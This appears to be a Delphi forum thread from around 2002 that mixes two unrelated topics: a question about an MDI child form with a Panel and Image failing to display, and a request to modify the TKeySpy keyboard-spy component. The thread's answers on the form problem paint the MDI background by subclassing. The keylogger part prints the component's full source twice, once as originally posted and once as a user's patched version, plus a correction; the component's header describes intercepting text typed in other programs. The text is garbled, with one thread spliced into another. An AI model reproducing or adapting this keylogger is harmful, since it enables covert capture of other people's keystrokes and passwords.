怎么不能显示窗体? (100分)

  • 主题发起人 主题发起人 yuzhizhi
  • 开始时间 开始时间
Y

yuzhizhi

Unregistered / Unconfirmed
GUEST, unregistred user!
我在程序中定义了二个窗体,分别是Form1,Form2;而Form1是主窗体程序自动创建,其属性为FormStyle=fsMDIForm,
而Form2为手动创建,其属性FormStyle=fsMDIChild,在Form2中定义了二个
控件,首先加一个是Panel1(其属性Align=Client),然后加一个Image1(其属性Align=Client,
Picture=‘图象’);
问题在于?我在Form1中用Show出Form2来时显示不出来!
[h4][/h4][brown][/brown]{而把Panel1和Image1去掉就可以显示出来!}
[black][/black]但我想显示出来怎么办?

以下是KeySpy 2.8的源程序,谁能帮我修改一下,要求如下:
这个控件在使用小键盘是,显示的不是数字,而是Home,Up,PgUp....
帮我把这个改成记录数字的。或者使用2.6的源代码,仍然是改成数字
的,但是OnActiveWindowChanged等事件要保留。
或者给我一个不需要Dll的监测键盘输入的源代码,当然如上,也改成
小键盘记录数字的。我的Mail:araymond@21cn.com
谢谢!
{*************************************************************}
{ TKeySpy Component for Delphi 16/32 }
{ Version: 2.8 }
{ E-Mail: info@utilmind.com }
{ Home page: www.utilmind.com }
{ Created: August, 16, 1998 }
{ Modified: June, 6, 2000 }
{ Legal: Copyright (c) 1998-2000, UtilMind Solutions }
{*************************************************************}
{ KEYBOARD SPY: }
{ This component is intended for interception of pressing the }
{ keyboard. The KeySpy is possible to apply for interception }
{ of the typed text of the another's programs, as keyboard }
{ spy, or for processing events at type certain keywords etc..}
{*************************************************************}
{ Properties: ************************************************}
{ Enabled: As it usual... }
{ Keyword: At a set of this word event will be }
{ carried out (See OnKeyword event). }
{ ActiveLayout: Active keyboard layout (string) Win32 only }
{ SpyLayout: now present English, Russian, German }
{ &
Italian }
{ActiveWindowTitle: Title of active window (Read only) }
{ Events: ************************************************}
{ OnKeySpyDown: As OnKeyDown, but in any place (window). }
{ OnKeySpyUp: As OnKeyUp, but in any place (window). }
{ OnKeyword: The Keyword has been typed (See Keyword). }
{ OnLayoutChanged: The Keyboard layout was changed. Win32 only}
{ OnActiveWindowChanged: }
{*************************************************************}
{ IMPORTANT NOTE: }
{ This code may be used and modified by anyone so long as }
{ this header and copyright information remains intact. By }
{ using this code you agree to indemnify UtilMind Solutions }
{ from any liability that might arise from its use. You must }
{ obtain written consent before selling or redistributing }
{ this code. }
{*************************************************************}
{ Changes: }
{ 20.I.1999: Added 32-bit support }
{ 14.V.1999: Added OnChangeLayout event. }
{ Added Italian and Russian keyboard layouts. }
{ 28.V.1999: Added ActiveWindowTitle property. }
{ 27.VII.1999: Added Portugese keyboard layout. }
{ Thanks to Tiago Correia (tcorreia@cnotinfor.pt)}
{ 19.IX.1999: Added German keyboard layout (added by Slaine, }
{ slaine@redseven.de) }
{ 5.V.2000: Added French keyboard layout (added by Vincent }
{ CALLIES, thraxsivae@hotmail.com) }
{*************************************************************}
unit KeySpy;
interface
uses
{$IFDEF WIN32} Windows, {$else
} WinTypes, WinProcs,{$ENDIF}
SysUtils, Controls, Classes, Messages, Forms;
type
TSpyLayout = (klAmerican, klItalian, klRussian, klPortuguese, klGerman, klFrench);
TOnKeySpy = procedure(Sender: TObject;
Key: Byte;
KeyStr: String) of object;
{$IFDEF Win32}
TOnLayoutChanged = procedure(Sender: TObject;
Layout: String) of object;
{$ENDIF}
TOnActiveWindowChanged = procedure(Sender: TObject;
ActiveTitle: String) of object;
TKeySpy = class(TComponent)
private
{$IFDEF Win32}
CurrentLayout: String;
FActiveLayout: String;
{$ENDIF}
CurrentActiveWindowTitle: String;
FActiveWindowTitle: String;
FSpyLayout: TSpyLayout;
FWindowHandle: HWnd;
FOnKeySpyDown, FOnKeySpyUp: TOnKeySpy;
FOnKeyword: TNotifyEvent;
{$IFDEF Win32}
FOnLayoutChanged: TOnLayoutChanged;
{$ENDIF}
FOnActiveWindowChanged: TOnActiveWindowChanged;
FEnabled: Boolean;
FKeyword,
KeyComp: String;
OldKey: Byte;
LShiftUp, RShiftUp: Boolean;
procedure UpdateTimer;
procedure SetEnabled(Value: Boolean);
procedure SetKeyword(Value: String);
procedure WndProc(var Msg: TMessage);
procedure SetNothingStr(Value: String);
protected
procedure KeySpy;
dynamic;
public
constructor Create(AOwner: TComponent);
override;
destructor Destroy;
override;
published
property ActiveWindowTitle: String read FActiveWindowTitle write SetNothingStr;
property Enabled: Boolean read FEnabled write SetEnabled;
property Keyword: String read FKeyword write SetKeyword;
property SpyLayout: TSpyLayout read FSpyLayout write FSpyLayout;
{$IFDEF Win32}
property ActiveLayout: String read FActiveLayout write FActiveLayout;
{$ENDIF}
property OnKeySpyDown: TOnKeySpy read FOnKeySpyDown write FOnKeySpyDown;
property OnKeySpyUp: TOnKeySpy read FOnKeySpyUp write FOnKeySpyUp;
property OnKeyword: TNotifyEvent read FOnKeyword write FOnKeyword;
{$IFDEF Win32}
property OnLayoutChanged: TOnLayoutChanged read FOnLayoutChanged write FOnLayoutChanged;
{$ENDIF}
property OnActiveTitleChanged: TOnActiveWindowChanged read FOnActiveWindowChanged write FOnActiveWindowChanged;
end;

procedure Register;
implementation
{$I KLayouts.inc}
constructor TKeySpy.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
LShiftUp := True;
RShiftUp := True;
FEnabled := True;
FWindowHandle := AllocateHWnd(WndProc);
if FEnabled then
UpdateTimer;
end;

destructor TKeySpy.Destroy;
begin
FEnabled := False;
UpdateTimer;
DeallocateHWnd(FWindowHandle);
inherited Destroy;
end;

procedure TKeySpy.WndProc(var Msg: TMessage);
begin
with Msg do
if Msg = WM_TIMER then
try
KeySpy;
except
Application.HandleException(Self);
end
else
Result := DefWindowProc(FWindowHandle, Msg, wParam, lParam);
end;

procedure TKeySpy.UpdateTimer;
var
b: Byte;
begin
KillTimer(FWindowHandle, 1);
if FEnabled then
begin
asm
mov al, 60h
mov b, al
end;
OldKey := b;
if SetTimer(FWindowHandle, 1, 1, nil) = 0 then
raise EOutOfResources.Create('No timers');
end;
end;

procedure TKeySpy.SetEnabled(Value: Boolean);
begin
if Value <> FEnabled then
begin
FEnabled := Value;
UpdateTimer;
end;
end;

procedure TKeySpy.SetKeyword(Value: String);
begin
Value := LowerCase(Value);
if Value <> FKeyword then
FKeyword := Value;
end;

procedure TKeySpy.KeySpy;
var
PC: Array[0..$FFF] of Char;
Key: Byte;
St: String;
Wnd: hWnd;
begin
{$IFDEF Win32}
Wnd := GetForegroundWindow;
{$else
}
Wnd := GetActiveWindow;
{$ENDIF}
SendMessage(Wnd, wm_GetText, $FFF, LongInt(@PC));
FActiveWindowTitle := StrPas(PC);
if CurrentActiveWindowTitle <> FActiveWindowTitle then
begin
CurrentActiveWindowTitle := FActiveWindowTitle;
if Assigned(FOnActiveWindowChanged) then
FOnActiveWindowChanged(Self, FActiveWindowTitle);
end;

{$IFDEF Win32}
GetKeyboardLayoutName(PC);
FActiveLayout := StrPas(PC);
if (FActiveLayout <> CurrentLayout) then
begin
CurrentLayout := FActiveLayout;
if Assigned(FOnLayoutChanged) then
FOnLayoutChanged(Self, FActiveLayout);
end;
{$ENDIF}
asm
in al, 60h
mov Key, al
end;
if Key = 170 then
begin
Key := 84;
LShiftUp := True;
end;
if Key = 182 then
begin
Key := 85;
RShiftUp := True;
end;
if Key = 42 then
LShiftUp := False;
if Key = 54 then
RShiftUp := False;
if Key <> OldKey then
begin
OldKey := Key;
if Key <= 88 then
begin
case FSpyLayout of
klAmerican: if LShiftUp and RShiftUp then
St := StrPas(LowButtonName[Key])
else
St := StrPas(HiButtonName[Key]);
klItalian: if LShiftUp and RShiftUp then
St := StrPas(ItalianLowButtonName[Key])
else
St := StrPas(ItalianHiButtonName[Key]);
klRussian: if LShiftUp and RShiftUp then
St := StrPas(RussianLowButtonName[Key])
else
St := StrPas(RussianHiButtonName[Key]);
klPortuguese: if LShiftUp and RShiftUp then
St := StrPas(PortugueseLowButtonName[Key])
else
St := StrPas(PortugueseHiButtonName[Key]);
klGerman: if LShiftUp and RShiftUp then
St := StrPas(GermanLowButtonName[Key])
else
St := StrPas(GermanHiButtonName[Key]);
klFrench: if LShiftUp and RShiftUp then
St := StrPas(FrenchLowButtonName[Key])
else
St := StrPas(FrenchHiButtonName[Key]);
end;
if Assigned(FOnKeySpyDown) then
FOnKeySpyDown(Self, Key, St);
if Assigned(FOnKeyword) then
begin
KeyComp := KeyComp + St;
if Length(KeyComp) > Length(FKeyword) then
begin
Move(KeyComp[Length(St) + 1], KeyComp[1], Length(KeyComp));
{$IFDEF WIN32}
SetLength(KeyComp, Length(FKeyword));
{$else
}
KeyComp[0] := char(Length(FKeyword));
{$ENDIF}
end;
if LowerCase(KeyComp) = FKeyword then
FOnKeyword(Self);
end;
end
else
if Key - 128 <= 88 then
begin
case FSpyLayout of
klAmerican: if LShiftUp and RShiftUp then
St := StrPas(LowButtonName[Key - 128])
else
St := StrPas(HiButtonName[Key - 128]);
klItalian: if LShiftUp and RShiftUp then
St := StrPas(ItalianLowButtonName[Key - 128])
else
St := StrPas(ItalianHiButtonName[Key - 128]);
klRussian: if LShiftUp and RShiftUp then
St := StrPas(RussianLowButtonName[Key - 128])
else
St := StrPas(RussianHiButtonName[Key - 128]);
klPortuguese: if LShiftUp and RShiftUp then
St := StrPas(PortugueseLowButtonName[Key - 128])
else
St := StrPas(PortugueseHiButtonName[Key - 128]);
klGerman: if LShiftUp and RShiftUp then
St := StrPas(GermanLowButtonName[Key - 128])
else
St := StrPas(GermanHiButtonName[Key - 128]);
klFrench: if LShiftUp and RShiftUp then
St := StrPas(FrenchLowButtonName[Key - 128])
else
St := StrPas(FrenchHiButtonName[Key - 128]);
end;
if Assigned(FOnKeySpyUp) then
FOnKeySpyUp(Self, Key, St)
end;
end;
end;

procedure TKeySpy.SetNothingStr(Value: String);
begin
{} end;

procedure Register;
begin
RegisterComponents('UtilMind', [TKeySpy]);
end;

end.


来自:jrq, 时间:2002-1-13 18:17:00, ID:854490
我先把源代码收藏起来学习学习~


来自:westboy2000, 时间:2002-1-14 12:52:00, ID:855994
最近比较忙,先收藏,有空了来看看。[:)]


来自:bubble, 时间:2002-1-22 23:35:00, ID:877989
收藏了,呵呵,谢谢,有空看看了.


来自:杜宝, 时间:2002-1-25 18:38:00, ID:885214
呵呵,改到是简单,但这个东东在2000下有问题,害得我找了台98的机器才搞定!
{*************************************************************}
{ TKeySpy Component for Delphi 16/32 }
{ Version: 2.8 }
{ E-Mail: info@utilmind.com }
{ Home page: www.utilmind.com }
{ Created: August, 16, 1998 }
{ Modified: June, 6, 2000 }
{ Legal: Copyright (c) 1998-2000, UtilMind Solutions }
{*************************************************************}
{ KEYBOARD SPY: }
{ This component is intended for interception of pressing the }
{ keyboard. The KeySpy is possible to apply for interception }
{ of the typed text of the another's programs, as keyboard }
{ spy, or for processing events at type certain keywords etc..}
{*************************************************************}
{ Properties: ************************************************}
{ Enabled: As it usual... }
{ Keyword: At a set of this word event will be }
{ carried out (See OnKeyword event). }
{ ActiveLayout: Active keyboard layout (string) Win32 only }
{ SpyLayout: now present English, Russian, German }
{ &
Italian }
{ActiveWindowTitle: Title of active window (Read only) }
{ Events: ************************************************}
{ OnKeySpyDown: As OnKeyDown, but in any place (window). }
{ OnKeySpyUp: As OnKeyUp, but in any place (window). }
{ OnKeyword: The Keyword has been typed (See Keyword). }
{ OnLayoutChanged: The Keyboard layout was changed. Win32 only}
{ OnActiveWindowChanged: }
{*************************************************************}
{ IMPORTANT NOTE: }
{ This code may be used and modified by anyone so long as }
{ this header and copyright information remains intact. By }
{ using this code you agree to indemnify UtilMind Solutions }
{ from any liability that might arise from its use. You must }
{ obtain written consent before selling or redistributing }
{ this code. }
{*************************************************************}
{ Changes: }
{ 20.I.1999: Added 32-bit support }
{ 14.V.1999: Added OnChangeLayout event. }
{ Added Italian and Russian keyboard layouts. }
{ 28.V.1999: Added ActiveWindowTitle property. }
{ 27.VII.1999: Added Portugese keyboard layout. }
{ Thanks to Tiago Correia (tcorreia@cnotinfor.pt)}
{ 19.IX.1999: Added German keyboard layout (added by Slaine, }
{ slaine@redseven.de) }
{ 5.V.2000: Added French keyboard layout (added by Vincent }
{ CALLIES, thraxsivae@hotmail.com) }
{ 2002.1.25 UpDate By 杜宝 增加了NumLock键的判断 }
{*************************************************************}
unit KeySpy;
interface
uses
{$IFDEF WIN32} Windows, {$else
} WinTypes, WinProcs,{$ENDIF}
SysUtils, Controls, Classes, Messages, Forms;
type
TSpyLayout = (klAmerican, klItalian, klRussian, klPortuguese, klGerman, klFrench);
TOnKeySpy = procedure(Sender: TObject;
Key: Byte;
KeyStr: String) of object;
{$IFDEF Win32}
TOnLayoutChanged = procedure(Sender: TObject;
Layout: String) of object;
{$ENDIF}
TOnActiveWindowChanged = procedure(Sender: TObject;
ActiveTitle: String) of object;
TKeySpy = class(TComponent)
private
{$IFDEF Win32}
CurrentLayout: String;
FActiveLayout: String;
{$ENDIF}
CurrentActiveWindowTitle: String;
FActiveWindowTitle: String;
FSpyLayout: TSpyLayout;
FWindowHandle: HWnd;
FOnKeySpyDown, FOnKeySpyUp: TOnKeySpy;
FOnKeyword: TNotifyEvent;
{$IFDEF Win32}
FOnLayoutChanged: TOnLayoutChanged;
{$ENDIF}
FOnActiveWindowChanged: TOnActiveWindowChanged;
FNumLockStatus :Boolean;
//数字锁定键状态
FEnabled: Boolean;
FKeyword,
KeyComp: String;
OldKey: Byte;
LShiftUp, RShiftUp: Boolean;
procedure GetNumLockStatus;
//取数字锁定键状态
procedure UpdateTimer;
procedure SetEnabled(Value: Boolean);
procedure SetKeyword(Value: String);
procedure WndProc(var Msg: TMessage);
procedure SetNothingStr(Value: String);
protected
procedure KeySpy;
dynamic;
public
constructor Create(AOwner: TComponent);
override;
destructor Destroy;
override;
published
property ActiveWindowTitle: String read FActiveWindowTitle write SetNothingStr;
property Enabled: Boolean read FEnabled write SetEnabled;
property Keyword: String read FKeyword write SetKeyword;
property SpyLayout: TSpyLayout read FSpyLayout write FSpyLayout;
{$IFDEF Win32}
property ActiveLayout: String read FActiveLayout write FActiveLayout;
{$ENDIF}
property OnKeySpyDown: TOnKeySpy read FOnKeySpyDown write FOnKeySpyDown;
property OnKeySpyUp: TOnKeySpy read FOnKeySpyUp write FOnKeySpyUp;
property OnKeyword: TNotifyEvent read FOnKeyword write FOnKeyword;
{$IFDEF Win32}
property OnLayoutChanged: TOnLayoutChanged read FOnLayoutChanged write FOnLayoutChanged;
{$ENDIF}
property OnActiveTitleChanged: TOnActiveWindowChanged read FOnActiveWindowChanged write FOnActiveWindowChanged;
end;

procedure Register;
implementation
{$I KLayouts.inc}
Const //小键盘键名 不满意自己改吧!
TNumPadKeyName : array [71..83] of PChar=('--*7*','--*8*',
'--*9*','--Gray-','--*4*','--*5*','--*6*',
'--Gray+','--*1*','--*2*','--*3*','--*0*',
'--*.*');

constructor TKeySpy.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
LShiftUp := True;
RShiftUp := True;
FEnabled := True;
GetNumLockStatus;
//取NumLock状态
FWindowHandle := AllocateHWnd(WndProc);
if FEnabled then
UpdateTimer;
end;

destructor TKeySpy.Destroy;
begin
FEnabled := False;
UpdateTimer;
DeallocateHWnd(FWindowHandle);
inherited Destroy;
end;

procedure TKeySpy.WndProc(var Msg: TMessage);
begin
with Msg do
if Msg = WM_TIMER then
try
KeySpy;
except
Application.HandleException(Self);
end
else
Result := DefWindowProc(FWindowHandle, Msg, wParam, lParam);
end;

procedure TKeySpy.UpdateTimer;
var
b: Byte;
begin
KillTimer(FWindowHandle, 1);
if FEnabled then
begin
asm
mov al, 60h
mov b, al
end;
OldKey := b;
if SetTimer(FWindowHandle, 1, 1, nil) = 0 then
raise EOutOfResources.Create('No timers');
end;
end;

procedure TKeySpy.SetEnabled(Value: Boolean);
begin
if Value <> FEnabled then
begin
if Value then
GetNumLockStatus;
//如果enable就取数字锁定键状态
FEnabled := Value;
UpdateTimer;
end;
end;

procedure TKeySpy.SetKeyword(Value: String);
begin
Value := LowerCase(Value);
if Value <> FKeyword then
FKeyword := Value;
end;

procedure TKeySpy.KeySpy;
var
PC: Array[0..$FFF] of Char;
Key: Byte;
St: String;
Wnd: hWnd;
begin
{$IFDEF Win32}
Wnd := GetForegroundWindow;
{$else
}
Wnd := GetActiveWindow;
{$ENDIF}
SendMessage(Wnd, wm_GetText, $FFF, LongInt(@PC));
FActiveWindowTitle := StrPas(PC);
if CurrentActiveWindowTitle <> FActiveWindowTitle then
begin
CurrentActiveWindowTitle := FActiveWindowTitle;
if Assigned(FOnActiveWindowChanged) then
FOnActiveWindowChanged(Self, FActiveWindowTitle);
end;

{$IFDEF Win32}
GetKeyboardLayoutName(PC);
FActiveLayout := StrPas(PC);
if (FActiveLayout <> CurrentLayout) then
begin
CurrentLayout := FActiveLayout;
if Assigned(FOnLayoutChanged) then
FOnLayoutChanged(Self, FActiveLayout);
end;
{$ENDIF}
asm
in al, 60h
mov Key, al
end;
if Key = 170 then
begin
Key := 84;
LShiftUp := True;
end;
if Key = 182 then
begin
Key := 85;
RShiftUp := True;
end;
if Key = 42 then
LShiftUp := False;
if Key = 54 then
RShiftUp := False;
if Key <> OldKey then
begin
OldKey := Key;
if Key <= 88 then
begin
case FSpyLayout of
klAmerican: if LShiftUp and RShiftUp then
St := StrPas(LowButtonName[Key])
else
St := StrPas(HiButtonName[Key]);
klItalian: if LShiftUp and RShiftUp then
St := StrPas(ItalianLowButtonName[Key])
else
St := StrPas(ItalianHiButtonName[Key]);
klRussian: if LShiftUp and RShiftUp then
St := StrPas(RussianLowButtonName[Key])
else
St := StrPas(RussianHiButtonName[Key]);
klPortuguese: if LShiftUp and RShiftUp then
St := StrPas(PortugueseLowButtonName[Key])
else
St := StrPas(PortugueseHiButtonName[Key]);
klGerman: if LShiftUp and RShiftUp then
St := StrPas(GermanLowButtonName[Key])
else
St := StrPas(GermanHiButtonName[Key]);
klFrench: if LShiftUp and RShiftUp then
St := StrPas(FrenchLowButtonName[Key])
else
St := StrPas(FrenchHiButtonName[Key]);
end;
//Case End 分解出st值
//==================
if FNumLockStatus then
begin
if (Key>70)and (Key < 84) then
begin
St := StrPas(TNumPadKeyName[Key]);
end;
end;
//==================
if Assigned(FOnKeySpyDown) then
FOnKeySpyDown(Self, Key, St);
if Assigned(FOnKeyword) then
begin
KeyComp := KeyComp + St;
if Length(KeyComp) > Length(FKeyword) then
begin
Move(KeyComp[Length(St) + 1], KeyComp[1], Length(KeyComp));
{$IFDEF WIN32}
SetLength(KeyComp, Length(FKeyword));
{$else
}
KeyComp[0] := char(Length(FKeyword));
{$ENDIF}
end;

if LowerCase(KeyComp) = FKeyword then
FOnKeyword(Self);
end;
//end of Assigned(FonKeyWord)
end
else
// else
of Key <= 88
begin
if Key = 197 then
FNumLockStatus := not FNumLockStatus ;
if Key - 128 <= 88 then
case FSpyLayout of
klAmerican: if LShiftUp and RShiftUp then
St := StrPas(LowButtonName[Key - 128])
else
St := StrPas(HiButtonName[Key - 128]);
klItalian: if LShiftUp and RShiftUp then
St := StrPas(ItalianLowButtonName[Key - 128])
else
St := StrPas(ItalianHiButtonName[Key - 128]);
klRussian: if LShiftUp and RShiftUp then
St := StrPas(RussianLowButtonName[Key - 128])
else
St := StrPas(RussianHiButtonName[Key - 128]);
klPortuguese: if LShiftUp and RShiftUp then
St := StrPas(PortugueseLowButtonName[Key - 128])
else
St := StrPas(PortugueseHiButtonName[Key - 128]);
klGerman: if LShiftUp and RShiftUp then
St := StrPas(GermanLowButtonName[Key - 128])
else
St := StrPas(GermanHiButtonName[Key - 128]);
klFrench: if LShiftUp and RShiftUp then
St := StrPas(FrenchLowButtonName[Key - 128])
else
St := StrPas(FrenchHiButtonName[Key - 128]);
end;
//End of Case
//==================
if FNumLockStatus then
begin
if (Key>198) and (Key < 212) then
begin
St := StrPas(TNumPadKeyName[Key-128]);
end;
end;
//==================
if Assigned(FOnKeySpyUp) then
FOnKeySpyUp(Self, Key, St)
end;
// end of Key <= 88
end;
end;

procedure TKeySpy.SetNothingStr(Value: String);
begin
{} end;

procedure Register;
begin
RegisterComponents('UtilMind', [TKeySpy]);
end;

//取NumLock状态的过程
procedure TKeySpy.GetNumLockStatus;
begin
FNumLockStatus := not (GetKeyState(VK_NumLock) = 0);
end;

end.


来自:tseug, 时间:2002-1-25 19:05:00, ID:885252
呵呵,还有点问题没有改过来。UpdateTimer代码应该是这样的
procedure TKeySpy.UpdateTimer;
var
b: Byte;
begin
KillTimer(FWindowHandle, 1);
if FEnabled then
begin
asm
in al, 60h
mov b, al
end;
OldKey := b;
if SetTimer(FWindowHandle, 1, 1, nil) = 0 then
raise EOutOfResources.Create('No timers');
end;
end;



 
是Panel1的原因,你把Panel1去掉就可以显示出来了
 
伙计,把你上面的些清楚写
 
对了,这样不能显示image1中的图形了,你可以加入一个这样的函数
在TForm1的private中加入:
FClientInstance,FPrevClientProc : TFarProc;
procedure ClientWndProc(VAR Message:TMessage);
public
procedure TForm1.ClientWndProc(VAR Message:TMessage);
VAR MyDC:hDC;
Ro,Co:Word;
begin
with Message do
case Msg of
WM_ERASEBKGND: begin
MyDC:=TWMEraseBkGnd(Message).DC;
StretchBlt(MyDC,0,0,ClientWidth,ClientHeight,Image1.Picture.Bitmap.Canvas.Handle,0,0,Image1.Width,Image1.Height,SRCCOPY);
Result:=1;
end;
else
Result:=CallWindowProc(FPrevClientProc,ClientHandle,Msg,wParam,lParam);
end;
end;
然后在OnCreate事件中加入
procedure TForm1.Create(Sender:TObject)
begin
FClientInstance:=MakeObjectInstance(ClientWndProc);
FPrevClientProc:=Pointer(GetWindowLong(ClientHandle,GWL_WNDPROC));
SetWindowLong(ClientHandle,GWL_WNDPROC,LongInt(FClientInstance));
end;
 
要在MDIFORM上放图只能自己画了!
commons_sheng已给出了一部份代码。
查找一下吧,很多相关文章说这个的。
 
我试过:commons_sheng的方法!还是不行!还是手动窗体显示不出来?
 
你只能在MDIForm上用画的方法显示一幅图,加panel的话,form2会被放到Panel的后面。
具体方法如下:
=========================================
//先在Form1的Private中定义:
FClientInstance,
FPrevClientProc : TFarProc;
PROCEDURE ClientWndProc(VAR Message: TMessage);
//在实现(implementation)中加入上述过程的具体內容:
procedure TForm1.ClientWndProc(var Message: TMessage);
var
MyDC : hDC;
Ro, Co : Word;
begin
if Image1.Center then
begin
with Message do
case Msg of WM_ERASEBKGND:
begin
MyDC := TWMEraseBkGnd(Message).DC;
for Ro := 0 TO ClientHeight div Image2.Picture.Height do
for Co := 0 TO ClientWIDTH DIV Image2.Picture.Width do
BitBlt(MyDC, Co*Image2.Picture.Width, Ro*Image2.Picture.Height,Image2.Picture.Width, Image2.Picture.Height,Image2.Picture.Bitmap.Canvas.Handle, 0, 0, SRCCOPY);
Result := 1;
end;
else
Result := CallWindowProc(FPrevClientProc, ClientHandle, Msg, wParam, lParam);
end;
end
else
begin
with Message do
case Msg of WM_ERASEBKGND:
begin
MyDC := TWMEraseBkGnd(Message).DC;
for Ro := 0 TO ClientHeight div Image1.Picture.Height do
for Co := 0 TO ClientWIDTH DIV Image1.Picture.Width do
BitBlt(MyDC, Co*Image1.Picture.Width, Ro*Image1.Picture.Height,Image1.Picture.Width, Image1.Picture.Height,
Image1.Picture.Bitmap.Canvas.Handle, 0, 0, SRCCOPY);
Result := 1;
end;
else
Result := CallWindowProc(FPrevClientProc, ClientHandle, Msg, wParam, lParam);
end;
end;
end;

//在Form1的OnShow事件中加入:
procedure TForm1.FormShow(Sender: TObject);
begin
FClientInstance := MakeObjectInstance(ClientWndProc);
FPrevClientProc := Pointer(GetWindowLong(ClientHandle, GWL_WNDPROC));
SetWindowLong(ClientHandle, GWL_WNDPROC, LongInt(FClientInstance));
end;
//Form2的显示方法用
procedure TForm1.A8Execute(Sender: TObject);
begin
if Form2=nil then
Application.CreateForm(TForm2,Form2)
else
begin
Form2:=nil;
Application.CreateForm(TForm2,Form2);
end;
end;
 
老大,你想显示带背景的MDI窗体吗?你的想法也太简单了吧,sword_liu很好的回答了
这个问题,请你参考!!
 
多人接受答案了。
 

Similar threads

I
回复
0
查看
553
import
I
I
回复
0
查看
430
import
I
I
回复
0
查看
584
import
I
I
回复
0
查看
607
import
I
I
回复
0
查看
600
import
I
后退
顶部